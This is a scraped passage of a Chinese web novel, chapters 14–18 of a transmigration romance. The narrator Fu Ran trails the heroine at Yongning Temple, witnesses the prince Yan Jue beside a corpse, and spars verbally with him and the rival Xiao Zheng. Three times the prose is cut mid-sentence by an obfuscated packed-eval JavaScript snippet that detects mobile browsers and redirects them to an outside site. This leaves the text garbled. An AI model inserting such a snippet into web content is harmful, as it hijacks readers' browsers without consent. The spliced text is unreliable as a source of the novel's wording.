苏琼月抄完本品,松了松泛酸的手腕感慨:“这父亲正是困于嗔恚,才致使可解的争执无法挽救,若是有如观世音的慈悲心化解,又何至于堕入无边苦海。善慈尼师道,大慈悲为室,柔和忍辱衣,诚哉此言。” 晏绝静静凝视着她,却轻声说:“阿姊忘了吗?我小时候,也是这样过来的。” “回想起来,我第一次见到阿姊,还是因为犯错被母后打了板子,闭门思过的时候……阿姊来给我送饭和伤药。” 他的视线落在苏琼月的脸上,又仿佛是越过了她,望进尘灰尽处的空茫之中,“那时候我见到阿姊,又何尝不是如同溺难者得见观音一般。” 苏琼月原本只是无心提及,听到他这样说,也随着想了想当时的事,回忆却实在已然模糊:“……是吗?我都记得不太清楚了。” 但她怕晏绝心中还介意曾经的责罚,又劝解道:“姑母虽然以前对你严厉了些,可一定是为了你好才这样做的,她只是看起来难以亲近,其实也是心软的,说不定,正是姑母叫我去给你送东西的呢?” 当年她才进宫之时,姑母就已经被奉为了太后,临朝听政,大权在握。即便是年幼的皇帝犯了错,在姑母那里也免不了责打,而六七岁往上的晏绝,至少在她的印象里,受过的惩处甚至比皇帝还要更多得多。 仅她所知的那一部分里,板杖,或者禁闭,也都已经是家常便饭了。 不过姑母素性明严,每次罚人都一定有明确的理由。苏琼月最初也有些心惊胆战,渐渐便开始自我习惯,反正只要循规蹈矩,不越雷池,惩戒通常就不会落到她的头上。 诚然,这其中,不免也有太后对于她这个侄女态度更宽松的原因。但这么多年里,她对于姑母都从来只有诚心信服,即使有时处罚过分苛刻了些,在她看来也是为了教养的缘故,应当去理解姑母的苦心。 她合上经卷,不再去想这些早就尘封的过往,只是温驯地低着头为姑母无声祈祷。 晏绝看着轻烟中少女虔诚的面容,刹那间竟然有些出神。 美丽而隐忍,软弱又顺从。 和他记忆中那个模糊的影子……是如此相似。 他垂下眼,轻轻道:“阿姊说的是。” 14. 第 14 章 永宁寺规模极大,号称屋舍楼观总和超过一千间,但尘嚣声更多聚集在前庭,越到后面,来往的人渐渐就越少了。 在一片竹林掩映的僻静之处,傅苒蹑手蹑脚地往近处凑了点,试图听到里头的动静。 借着刘夫人供完灯的时机,她顺势提出了想要呆在寺中礼佛。虽然因盛事将近的缘故,永宁寺内对闲杂人等的管束比平时严格,不过有谢家保障,当然不会出现什么问题,她就这么顺利地留了下来。 但想到她留下来的任务,傅苒不禁惆怅地叹了口气。 依系统的说法,女主苏琼月是原著的绝对核心,其思想和命运是影响小说主线的决定性因素。 所以,为了达成he结局,理论上她应该担任的是让女主总能化险为夷的保镖角色。 但就目前的状况而言,傅苒总感觉,她的行径更像一个疑似暗恋女主的变态跟踪狂。 但也真不能怪她,主要是因为,按照言情小说标准定律,像这样女主受了情伤,正感到失魂落魄的时候,就是温柔男二的最佳出场时机,这篇文也不例外。 此时的苏琼月为了竹马含糊不清的态度而黯然神伤,却在永宁寺中偶然遇见了对她体贴入微的男二萧徵,两人因缘相处多日,诞生了一段若有若无的暧昧关系。 然而想到这里,傅苒内心陷入了纠结。 温柔男二倒不是问题,反正她的任务只是要促成he,和男二he那姑且也算一种he吧。但问题是,她知道萧徵这人其实是个心思很深的绿茶,连接近女主的事也是别有图谋。 当然在古早虐文里,本类开局经常会以动了真心后悔莫及而告终,但不管怎么说,男二兄显然也是个可以直接送入追妻火葬场的典型。 所以傅苒当然不能放着不管,但老实说,要是想阻止,她貌似又没什么合情合理的动机。 还没等她想出来什么结果,天色便不知不觉地暗了下来。 人声也随着渐渐安静了下来,傅苒听了听动静,再三确定萧徵和苏琼月已经离开,才拿火折子把手里的灯笼点亮,感觉自己当跟踪狂真是越来越有经验了。 黄昏时分,连夕阳最后的辉光都已经消失不见,黑夜却还没有彻底降临。天地间充盈着一种如同混沌的黯淡黄色,像是浓雾般无处不在,让人不由自主地感受到心头的压抑。 主要是看起来,也太像灵异作品里那些鬼魅出没的阴间时段了。 傅苒抓紧了灯笼,又不断自我安慰,还好这里是寺院……寺院总不会有什么妖魔鬼怪的。而且原小说只是普通古言,最多沾了点当时流行的蛊和谶纬之类的元素,又不是玄幻捉妖题材,哪里来的鬼。 黄昏稍纵即逝,很快就散了去,被黑黢黢的夜色所取代,让人不自觉加快了脚步。 这里和她的住处差不多在寺庙后院的两个对角上,直线距离不是那么远,但得绕路,若是从庭院里穿过,距离就会近些。 傅苒推开一扇虚掩着的院门,心想走个便路应该没什么大不了的。 脑海中刚闪过这个念头,她往前的脚步就猛然停住了,心仿佛一下提到了嗓子眼。 前面的地上正趴着一个人。 一个已然没有气息的,死人。 这具身体面朝下伏倒在地上,分辨不了本来的面目,只能看到当胸一个血洞贯穿而过,精准且干净,想必瞬间就结束了生命,以至于此时,淋漓涌出的液体已经将尸体后背的衣服彻底染透。 那种鲜血的颜色在灯光下浓艳得诡异,仿佛一片触目惊心的人体彩绘。 然而,就在这道横陈的黑影之后,还站着另一个活人的身形。他顺着傅苒手提灯笼的光亮,坦然自若地抬头望了过来。 入夜的寺院里,此时已经是昏沉沉的一片,四壁暗淡难见,只有灯盏明黄的火光在浮烁游离不定。 光芒映出了少年漂亮的眉眼,漆黑的发,犹如流转着华美光泽的细腻丝线。他的肤色似雪,衬得唇上的胭脂色更加朦胧而旖旎,却因为太过美丽,反而透出一种潜在的危险感。 像传说里隐藏在破败的画壁之间,绮丽,诱人,却只为吸食生灵精血的……艳鬼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427303|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅姑娘,又见面了。” 他瞥了眼发懵的傅苒,精致的面孔上勾起一缕微笑。 那双幽深的眸子里映照着流光,竟然给人脉脉含情的错觉,仿佛他们不是在夜晚的佛寺里对着一具尸体,而是于花前月下的庭院中漫步。 “看来你说的没错,我们确实是很有缘分。” 灯光中,傅苒几乎是下意识地噔噔后退了两步。 她脑海中赫然闪现出三个大字:完蛋了。 虽然她已经下决心对晏绝敬而远之,但但但——谁知道再见会是在这种情况下啊! “殿、殿下。” 傅苒战战兢兢地左右望了望,没见到其他可能在场的活人,只能勉强稳住了自己发抖的声音,“我现在说今晚什么都没看见还来得及吗?” 晏绝丝毫没有被撞破的失态,甚至对贸然横在面前的死尸视若无睹,反而事不关己般地迈过地上的血迹,径直朝她走了过来。 一步,两步。 他每进一寸,傅苒就腿软地往后退一点。 直逼到她已经退无可退的地步,身后碰到了冰冷的墙壁,他才俯下身,蓦然靠近了她的脸,近得几乎可以感受到她颤抖的气息。 少年眉目昳丽,秋水般的眸子被她手里的一星灯盏映得极亮。 “既然什么也没看见……”他的瞳孔深黑,透着幽幽的寒意,语气却轻柔得如同情人亲昵的低语,“那傅姑娘,你怕成这样做什么?” 我看你比尸体还吓人。 傅苒紧紧握着灯笼的提竿,脸色煞白,好在她皮肤一向没什么血色,在这种昏暗的环境下倒也不太明显。 多亏她当初从溪边救男主的时候锻炼了一回胆量,否则深更半夜见了这场面,只怕当场就要尖叫出来,之后铁定就是个被灭口的下场。 “我刚才并非害怕。”她惊慌过了一阵,反而勉强镇定下来,脑海中灵光乍现,睁着双黑白分明的眼睛开始装模作样地胡说八道。 “是因为,因为——我想起了一件事!殿下,你听说过兰若寺画壁美人的传说吗?” 15. 第 15 章 “兰若寺?” 这个话题跳得十分突兀,说实话,并不高明。 不过……晏绝的目光缓缓描摹过她细微颤动的睫,像在观察一只瑟瑟发抖的孱弱猎物。 他忽而生出了一点猫捉老鼠般的耐心:“据我所知而言,洛阳城中似乎并没有什么命名为兰若的寺庙。” 兰若本就是佛寺的代称,所以取这个名字,要么是草率为之,要么就很显然只是个虚构出来的化名。 但他也没有要立刻揭穿的意思,只是轻微挑了挑眉,“莫非是琅琊,或是傅姑娘真正故乡的名胜?” 又开始套话了,傅苒假装没注意到问句里挖的坑:“的确没有,因为世上似乎没有这样的寺庙,只是传闻而已。” “有人说,兰若寺是一座隐藏在人迹罕至之地,内部却极为壮观的寺院,其奢华之处甚至可以和永宁寺相提并论。” 她为了保住小命,拼命翻箱倒柜地把脑子里的存货全凑出来,信口开河强行编了个缝合版本的聊斋故事,“也有人说,它其实十分狭小简陋,连佛像也不多,只是大殿两侧的画壁上不知道为什么却绘着盛美绝伦的一幅天女画像。” “有天,一个迷路的书生不小心误入兰若寺,望见了壁上画像中的美人……” 值得庆幸的是,经过她一番努力的东拉西扯之后,气氛似乎没有开始时那么箭在弦上了。 傅苒于是一边说,一边趁着他没有动作的时候,小心翼翼地往侧面挪了几尺,像是不经意般地离开了被晏绝困住的小片空间。 “我倒从未听过这样的传说。”晏绝冷眼看着她的举动,语气分不清是好奇还是讥讽。 “村野凡夫中流传的故事而已,殿下这样的贵人,没有听说过是正常的。” 傅苒手心都在冒汗,脸上却保持着懵懂,好像对危险毫无察觉的模样,只有语调里轻微的发颤不经意暴露出一丝情绪:“但是殿下,夜深了,我觉得有点冷,如果想要解释清楚的话,能、能不能先边走边聊?” “呜——”周围居然很响应气氛地刮起了阵小小的旋风。 院子里的树木被吹得阴森森摇晃,哗哗响个不停,像是黑暗中藏着什么面目狰狞的怪物。 但这会傅苒连眼神都不敢乱瞟一下,只能一动不动地死死盯着近在咫尺的少年的衣襟,从他合拢得严严实实的领口扫到腰身上华美的带钩,就差把他的衣服盯出个洞了。 正在她紧张地思考是马上大喊一声跟他鱼死网破,还是找系统商量中道崩殂怎么回档重开的时候,忽然听到了轻微的一声嗤笑。 “那就走吧。” 晏绝垂下了眼睫,任晦暗淹没眸中的情绪,出乎意料地说了句,“我送你回去。” 傅苒被这突如其来的转机惊得愣了一秒:瞎编还真有用啊? 她莫名感觉自己现在特别像一千零一夜里的王后,为了编故事绞尽脑汁,伺候的还是个喜怒无常随时要让人掉脑袋的暴君。 不对,现在不是乱想的时候,管他为什么这样呢,能救命就好。 她当即也顾不上门朝哪开,先迫切往外挪了两步,离晏绝这个危险源越远越好。 “等等。”身侧的少年却在这时冷不防地拦住了她。 他动手很快,转瞬就已经牢牢钳制住了她的右腕,电光火石间,力道也并无怜惜之意,傅苒下意识挣扎了一下,却还是被轻而易举地禁锢在他掌心。 不是说好——她刚想指责这种出尔反尔的行为,余光却骤然瞥见树影后,隐约闪过了某种慑人的银芒。 傅苒心中顿时重重一跳,快到嘴边的话当机立断地咽了回去。 前面的暗处里有人藏身。 怪不得她刚刚看了晏绝半天,也没注意到他手上有什么兵器,可地上的尸体血流成那样,肯定是被利刃刺死的。果然,杀人者另有其人。 可不管怎么样,那人都要么是同谋,要么是听命于他。而这两种情况对她都是一样的不妙,区别只在于想灭口的是单方还是双方而已。 识时务者为俊杰,傅苒毫不犹豫就是一个当场滑跪:“殿下,怎么了?我手好疼。” 她这下也不演什么无知少女了,直直盯着晏绝,拼命试图从自己的表情和眼神里传达出“求求放过我吧我绝对什么都不敢说出去”的信号。 不知道是不是接收到了暗示,他放松了点力度,让傅苒的痛感轻了几分,却依然捏着她的腕骨,温热的指尖贴在她微微战栗的肌肤上。 这个动作对于其他人而言,或许会显得暧昧和令人遐想,然而在晏绝这里,却偏偏表现得丝毫不带任何情色的含义。 像一条预备捕食的毒蛇在试探着猎物的脉搏,即便皮肤的触感是暖而轻柔的,还是无端令她打了个寒战。 仿佛这双手本来想要掐住的……应当是她的后颈才对。 但一切都如同幻觉,少年只是不容退避地把她从头到尾审视了一遍,含笑道:“这就吓到了?” 他好像什么都没有发生过一样,从容地松开手,同时轻巧带走了傅苒本来提着的灯笼。 “我只是准备告诉你,方向错了,路在那边。” 五月鸣蜩的时节,寺庙里的草木已然生长得郁郁葱葱。灯火照出一片深浓的绿色,黑暗里不知何处传来夏蝉喳喳的鸣叫,时断时续,凝神又仿佛不见。 “然后呢?兰若寺的画壁怎么了?” 傅苒沿着曲径,走在少年提着灯盏的身影后。 夤夜间僧舍无声,殿宇晦暗难明,笼罩在一片神秘的宁静之中,举目是九层浮图塔高耸的黑影,让她觉得自己简直像是故事里的人在讲述前世今生。 不过以聊斋的发展嘛,书生见到美人之后,接下来的内容很快就要少儿不宜了。 但问题是,她哪敢在晏绝面前说这个。 “然后,书生看到画壁上的一个天女动了起来,拉住他的衣袖,叫他随自己而去。” 傅苒强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431301|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行和谐掉了中间的某些片段,“两个人,呃,聊了一会天,书生忽然听见寺中的僧人呼唤,好像从梦中惊醒一样,回到了刚才站的地方。他的同伴见到他却非常震惊,告诉书生,他方才竟然是从壁画上下来的。” 真没想到,她有朝一日还会给人讲这种青少年删减版…… 好在晏绝似乎没有注意到被她跳过的部分。 “所以,傅姑娘该不会想说,你也遇见了故事里那个画壁上的美人吧。” 这才是要解释的重点,傅苒怂怂地轻咳了一声:“我走来时四下一片昏黑,又偶然遇见殿下衣冠风流,不似凡俗,还以为是传说中从画壁上走出来的……神仙中人。” 她偷偷看了晏绝一眼,把勾魂艳鬼几个字憋了回去。 “我唯恐冒犯了仙人,所以当时才会不知所措,信口胡言,自己也不知道说了什么,还望殿下见谅。” 晏绝意味不明地微笑道:“还真是精彩的故事。” 傅苒硬生生从他的话里听出了一种“编得挺努力”的言外之意。 但眼看已经快走回居处了,她只好硬着头皮停了下来,抢先一步跟他告别。 “殿下,故事也讲完了,送到这里就足够了,剩下的路我自己能找到。对了,多谢你今天好心送我回来,已经这么晚了,你回去注意安全!” 她飞快地一口气说完,心里阵阵发虚,也不知道小病娇绕这么大个圈子到底想怎么样,只能继续绷着精神等待判决。 晏绝不动声色地拎起那盏风灯的提柄,让灯光映亮她雪白的脸颊,和因为紧张而不自觉咬住的嘴唇。 她的唇看起来很柔软,像是露水浸湿的花瓣中微微渗出的一点淡红,想必用指尖就足以碾破。 其实方才那些话里,他半个字都不相信。 可是软弱者空洞乏味,愚昧者又使人厌烦,但她偏偏有恰到好处的一点聪慧,和尽管极力忍耐,却还是不自觉流露在眼睛里的惶然。 他的目光掠过女孩青莲色的垂胡袖襦裙,外面单薄的素纱禅衣此时被冷风拂动,令人想起涉江而过时,流水间的烟岚雾气濛濛。 这种脆弱的……琉璃般易碎的气质。 让人想要彻底打碎。 心绪一动,就有止不住的念头在暴烈地翻涌而上,滋生出一种渴盼着摧毁和弄坏些什么的阴暗欲望。 但晏绝只是短暂停顿了片刻,便移开了视线。 他近乎习以为常地让那些躁动起来的渴欲从他的情绪中强行平复下去,如同沸泉在极寒中冻结,重归于虚假的平静。 毁灭是这样轻易,但正是因为过于轻易,所以才会显得毫无必要。 这世上太容易碎裂的东西,到底都是无趣的。 在傅苒忐忑的心情中,他总算是若无其事地往后退开了一步,看她小心地揉着被他触碰过的手腕,神情中并无任何端倪。 “想必还有人在等着傅姑娘回去,我就不继续打扰了。” 16. 第 16 章 “困死了,早知道昨天真不该乱跑的……” 傅苒下巴都快点到了桌上,赶紧猛灌了自己一口凉水,试图从昏昏欲睡的状态中清醒过来。 可能因为目睹了一场凶案,昨夜回房她就几乎没怎么睡着,今天顶着两个黑眼圈起床后,还观察了半天,确认一下没有哪几位眼熟的倒霉鬼不幸死在晏绝手里。 然而奇怪的是,寺里一切如常,好像没谁意识到死了人的事情,甚至她大着胆子问了一句后院有没有发现血迹之类的异样,得到的答案居然是——什么也没有。 这就很古怪了。 难不成现场已经被处理过了? 昨晚虽然匆匆一瞥,没敢仔细看,但她记得两具尸体都并未剃头,穿的也像是常服,那受害的应该不是永宁寺里的僧侣,应该是外人。 看来小病娇倒还没有丧心病狂到在佛寺里杀害僧人,否则他不下地狱谁下地狱。 可现在死者身份不清,状况不明,说不准到底是无辜民众,还是牵扯到什么政治阴谋,所以贸然报案未见得合适。何况以晏绝的身份,告了官多半也是没用的。 傅苒苦恼了半天,尽管良心挣扎,却发现实在找不到什么比较好的办法,只能先回到眼前的任务上。 不过这回她吸取了教训,没再像个变态跟踪狂一样偷窥女主。 反正昨天已经确认,苏琼月和萧徵近晚时分会在竹林间的凉亭附近探讨乐艺,所以在完成答应刘夫人的每日祈祷任务之后,她就直接正大光明地过去偶遇了。 从小径走进去,竹林掩映间,正传来苏琼月的声音道:“前日听萧郎君奏的《子夜歌》,倒让我想起不久前学到的《折杨柳》,据说这首最初也是南边流传过来的曲调,经人改编后才在我们这儿流行起来。” 她的语调间伴着琴音泠泠,似乎是有人随心拨弄着琴弦,一个温和的男声应和道:“吴地乐律清雅,许是因水乡的缘故,多有悠扬婉转之音,诚然令人过耳难忘。” 傅苒从竹林里钻出来,刚好见到了他的样子。 这想必就是占据了原著过半篇幅的男配萧徵了。 身为对照组男二,萧徵看起来和男主谢青行完全不一样。谢青行锐利又英气,在亲近之人面前往往显得沉静可靠,而萧徵单从外表而言,毫无疑问是那种非常容易让人放下戒心的类型。 他的相貌十分俊秀,即便在不带任何表情的时候,也依然如春风宴雨般清润柔和。 老实说,傅苒觉得他和原身挺有相似之处的。不管是长相类型还是气质,看起来都很温良,没什么攻击性,可以一同归纳为白莲花类别。 这时苏琼月看清她的面容,不由得有几分惊讶:“傅姑娘,你也来了寺里?” 她先是疑惑,不过临近太后寿辰这几日,永宁寺参拜的信众不断,所以仔细想想,两人会遇见也是正常的,便更关心地问起了傅苒扭伤的事。 得知已经痊愈,她这才放下心来,又真诚地再为此道了一次歉。 “没关系的,那只是个意外罢了。” 傅苒摆了摆手,表示自己完全不介意这件事。 毕竟说起来,就算有错也是晏绝的错,不应该怪到女主头上,倒是她和苏琼月现在好歹也算认识,应该用不着那么生疏了。 所以她主动换了个称呼:“苏姐姐,我以前在家的小名是苒苒,你叫我苒苒就好,不用一直叫傅姑娘的。” “好,苒苒。” 苏琼月先是一怔,而后礼貌地答应下来,向她介绍了旁边的萧徵。 “这位是梁王世子,你应当还没有见过,他任太常少卿,被诏遣来督办永宁法会,我们先前也是在院中偶然碰上面的。” 萧徵温润地向她致意,听不出丝毫谈话被打扰的不愉:“傅姑娘来得正好,我先前本在煮茶,待到此时,茶汤应当也恰是时候了。” 他的目光落在傅苒脸上,似乎自然而然地停留了片刻,然后才收回视线,微笑着给她沏了一盏茶。 苏琼月解释道:“洛阳城里的人经常喝酪浆,饮茶很少,但我听说南人以茶待客的风气盛行,有些好奇,今日世子便煮了他常制的茗饮。” 竹林煮茶,不得不说听起来是挺风雅的。 傅苒在心里认可了一下男二的品味,就这么毫无防备地坐下喝了一口,结果差点被呛到。 好一言难尽的……茶啊。 跟她以前喝过的完全不一样,这里头的茶叶已经碾碎成了粉,好像混合着盐、葱、姜和橘皮,还加了一些乱七八糟看不出是什么的香料,要多奇怪有多奇怪。 这跟黑暗料理有什么区别! 苏琼月却浑然不觉,看起来已经接受了茶就是这个味道:“茶汤虽然制法与酪浆不同,但也别有一番风味,世子要是从小习惯了,应该会觉得比酪乳更清爽吧。” 萧徵闻言只是笑了笑:“其实,我幼时家中反而很少饮茶,倒是后来年岁渐长,伏案日久,才会常常用以提神。” 大概是见到傅苒对着茶盏面露难色,他边说着,边轻柔地将茶食里的一碟蜜饯递到她面前道:“若是娘子实在不习惯,含颗糖也许会好些。” 确实,蜜渍过的梅子酸酸甜甜的,马上把茶汤那种奇怪的余味冲淡了很多。 傅苒咬着一颗梅子,打量着他细致的神色变化,心想能体贴到这种地步,也真不愧是经典的温柔男二。 而且据她了解,萧徵不是仅仅对于某几个人如此,而是因为成长环境的原因,极其擅长察言观色,做事风格也属于八面玲珑的类型,很少直接得罪谁。 所以跟不解风情的谢青行和脑子有病的晏绝相比,难怪最后还是他赢得了女主的信任。 但事实证明,她最近是有点乌鸦嘴属性在身上的。 脑海里划过这个念头的同时,熟悉的少年声音就好巧不巧地在她身后响了起来 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“只记得他用的譬喻,说是燕子不耐严寒,每凡冬日总要迁徙到温暖的地方,可就算年年南飞,它们都还是是眷恋故巢,不论多远都想着要回去。禽鸟尚且如此,世上的人又有什么分别?” 傅苒虽然不知道《贤愚经》里到底讲了些什么东西,但猜也能猜到,这段肯定是小病娇临时瞎编出来的。 她同情地看了看被坑的萧徵,心道他还真是见缝插针就要给情敌上眼药啊。 虽然苏琼月好像似懂非懂,但她都能听出来,这话已经是相当明显的讽刺了。 因为萧徵这个人身世比较复杂,他本身不是北朝人,而是当年投奔过来的南梁义阳王萧承业之子。 其父萧承业原本是镇守彭城的南梁徐州刺史,因受皇帝猜忌一度流亡北朝。由于此人是南梁皇室,但异姓不得授王,因此获朝廷实封为公,特加“梁王”之号,又因他原配妻子在逃亡过程中已经遇难,得以娶建兴公主为妻,从而和晏家正式搭上了关系。 然而萧徵的身份尴尬之处正在这里。 他是萧承业原配所生的长子,可生母已经亡故,自身寄居别国,继母还是一国的长公主,于南北两边都不讨好。 况且梁王萧承业客居了没几年,在南梁皇帝驾崩,局势改变后便被赎了回去。此后由于南梁内部变动剧烈,继位的废帝遭弑,萧承业反而迎风直上,在建康势力的簇拥下摇身一变掌握了大权。这下,以被留在北边的萧徵处境就变得危险起来,几乎与质子无异。 算起来他本就是南梁人,此时局势又敏感,他只要表露出任何思乡之意,在旁人看来无异于赤裸裸昭示自己对北朝的叛心,于他而言绝无好处。 但萧徵显然也不是吃素的,脸上并无半分慌乱,缓声回道:“我听闻南部尚书谋反被诛,现今尚书省事务繁多,堆积的案卷都快处理不过来了,不知为何清河王竟如此清闲,还能有闲暇途经寺中听经?” 17. 第 17 章 晏绝不着痕迹地收回目光,在亭中空处从容落座。 说起南部尚书李冲,阿姊并不熟悉,大概也不会有什么反应,但李冲的弟弟李怿则是她从小就认识和熟悉的长辈。 而萧徵在言辞之中回避了这个名字,显然是刻意说给他听的,作为一种摆在明面上的回敬。 只是,不论李冲或者李怿,他都恰好在不久前刚刚见过。 见到了他们的……最后一面。 到了最终处决的刑场上时,那位向来以英俊和儒雅著称的中书令李怿因为刑狱的折磨已经憔悴得不成人形,蓬乱的头发披散着,脸色蜡黄。 处刑的刀重重落下,温热的血顷刻间从他颤抖的身体里尽数喷涌而出,溅满了一地,鲜明而猩红的颜色。 被定罪的李家人在西市处斩,冲天的嚎啕和哭喊,太多的血液甚至冲刷不尽,一直渗进青石板的缝隙里,结成了大片褐色的陈垢。 李家被抄的罪名是谋反,尽管他们并没有真正实施谋反过,他当然很清楚。 清楚地顺应皇帝的意志,清楚地在御史台、廷尉和各部的盘根错节中促成了这一切,然后冷眼旁观。 可是那又如何?反正阿姊不会知晓,太后也不会让她听到任何风声。 对她来说,最多只会意识到某个从小照拂过她的人忽然从宫廷中消失了,再无踪影,仅此而已。 一个人的死,或者一群人的死,都是无关的事,并没有什么分别。 他含笑自若地回应:“尚书省公务忙碌不假,但如今母后生辰在即,所以我闲暇之余常来寺中为她祝祷平安,难道世子认为这有什么不合适的?何况,世子自己似乎也不见得多么夙夜在公吧。” “清河王若是为了太后寿诞而来,那么我也同样如此。” 萧徵轻轻拨了两下琴弦,语气依旧平和,丝毫不为他的态度所动:“太后陛下命太常寺遣人来督办法会,公务所在,我自然需要常常在此,是以我与清河王,不过各司其事,各尽其责而已。” 傅苒眼看着修罗场两边上来就是风起云涌,赶紧拉了个偏架,阻止晏绝继续咄咄逼人。 “就是,反正大家都是来为太后祈求福寿安康的,就不用分得那么清楚了,苏姐姐,你说对吧?” 其实吧,她本来是没什么必要卷入这场战局的。 但单纯以和女主的合适程度来说,尽管她觉得萧徵并不怎么样,可问题是,晏绝比他更不怎么样。 由于手心手背都是刺,傅苒决定还是暂且帮一下表面上看着正常点的那个。 毕竟人家萧徵就算再怎么温柔陷阱,好歹也有点温柔的地方不是。 “是么?”晏绝轻飘飘地瞥了她一眼,“我怎么记得,昨天在后院里好像见到了傅姑娘,我们一起……” “我们刚好碰见就一起散了个步!” 傅苒一个激灵,差点以为他要跟女主提起昨晚的事情,立马强行打断:“我还给殿下讲了我小时候听过的故事,然后殿下把我送回了屋子,就是这样,没有别的了。” 一口气说完,她才发现好像哪里有问题。 对哦,明明是她撞见了小病娇的犯罪现场,虽然泄露有被灭口的风险没错,但现在他自己都不怕主动提起这事了,她还心虚个什么劲啊? ……肯定是因为受到冲击加上没睡好,导致现在脑子都不清醒了。 苏琼月满脸不解地看了看她,又转头看了看晏绝,讶异道:“阿真,你和苒苒原来这么熟悉了?” “没有!” “是啊。” 少年露出一个意味不明的笑容,潋滟的眸子里含着戏谑,“阿姊不知道,傅姑娘的故事确实是有趣极了,不过说起来,她还落了件东西在我那儿呢。” 什么东西,哪里落了,当着这么多人的面你不要乱说话啊! 傅苒正要撇清关系,却仿佛有段零碎的记忆隐隐约约地一闪而过。 ……好像还是真的有一件。 昨晚因为已经被送到门口了,她又太紧张,压根忘记了把灯笼要回来的事情,所以那盏灯必定还在晏绝手里。 而且灯笼上面还有明显的谢府徽记。 要是他真有同伙,这不就像犯罪剧里,目击者不小心遗留在现场的身份信物——按照常见剧本,一旦让凶手捡到,目击证人通常就直接被加入暗杀名单了。 “……”傅苒想象得自己有点背后发凉,弱弱地朝苏琼月靠近了过去,试图抓住护身符,“苏姐姐,好冷啊,我感觉这里是不是刚刚刮过去一阵凉风。” 苏琼月疑惑又不明所以地看了看周围,竹林分毫不动,连叶子都没有晃几下:“好像没有吧,苒苒你是不是昨夜不小心着凉了?要不再多喝些热茶。” “茶?”傅苒听得灵光一闪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444879|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她顿时振奋回来,故意主动向晏绝道:“对了殿下,世子的茶可好喝了,你也试试。” 事实证明,萧徵不愧是原著写明的白切黑角色,哪怕她只是临时起意说一嘴,也能很快领会意思。 他果真依言给晏绝斟了杯和她同样的茶,又仿佛无心般添了把火:“我是应苏娘子的请托,以南茶做法煮制,大约不会合乎于清河王殿下这样北人的口味,不过方才苏娘子倒很是赏识,也算没有枉费心思。” “就是啊,”傅苒怕小病娇不想喝,在旁边接着添油加醋,“苏姐姐还说她觉得比酪乳要清爽多了,绝对值得试一下。” 她觉得既然是苏琼月盛赞的,晏绝没理由不尝尝,迫不及待地把杯子捧到他面前,却全然没有发现,自己现在和谢晞容准备恶作剧的时候一模一样。 演技半点都没有,甚至可以说是拙劣。 但偏偏她模样又生得很乖,一对双螺髻端正地梳在两侧,照着轻暖的日色,仿佛某种小动物毛绒绒的耳朵,看起来温顺得不可思议。 就像弱不禁风的兰草,生来就是一副无害而易于摧折的样子。 少年和她明亮的眼睛对视片刻,也不知道为什么,竟然鬼使神差般地当真低头喝了一口。 随后陷入了谜一样的沉默。 傅苒注意到他的脸色变化,差点笑出声来,还要强忍着幸灾乐祸地追问他:“怎么样殿下,我就说真的很特别吧,还不快谢谢世子的盛情。” 大概是因为苏琼月在这里的原因,晏绝唇边仍强撑着笑意,只是暗含警告地瞪了她一眼。 但傅苒有女主在旁边无所畏惧,满脸无辜地回望过去,完全不在怕的。 反正她也就最开始有点被吓到,这会早已经冷静下来,把事情想明白了。 晏绝肯定只是在吓唬她而已,因为按理来说,要灭口的案件一般当场就灭了,等到第二天再来威胁,估计就是虚张声势而已。 但他有病归有病,这么做总也要有原因的,不然平白无故地为难她干什么。 傅苒看了看始终没能再插上话的萧徵,莫名浮现出了一个荒谬的猜测。 难道是因为她刚才站萧徵那边,而萧徵不管在哪里都疑似跟他不太对付,所以就生气了? 她默默又戳了一颗蜜渍梅子,自觉反省,这次应该真是想多了。 不然……这人也太幼稚了吧。 18. 第 18 章 “苏姐姐,你老是这么一遍又一遍抄经,不会觉得无聊吗?” 傅苒坐在案边两手支着下巴,看着苏琼月将这日抄写好的经文整理成卷。 先要等绢上的笔墨完全晾干,以防字迹沾污,然后才能一一卷起存放,苏琼月全程做得细致又耐心,摇了摇头道:“抄经是为了给姑母祈福,怎么会无聊,何况我从小便习惯了的。” 这几天两人慢慢熟悉后,傅苒已经发现,女主跟原著写的完全一样,除了在谢青行那里时常会耍点不痛不痒的小脾气,其他时候都是很好相处的一个人。 纵然有着惊人的美貌,性格却半点也不强势。 正是因为这样,她才能打着了解佛法的幌子总来缠着苏琼月,当然,实际是为了占用女主抄经之余的时间,避免苏琼月和萧徵有太多独处的机会。 主要是萧徵这人不管长相还是外在表现都太有迷惑性了,就连他略显尴尬的身世,在女主那里也只会引起同病相怜的恻隐之心。 没准现在,苏琼月心中对他的印象还是朵惹人怜惜的小白花,结果书里到成婚之后才发现人家是个白切黑。 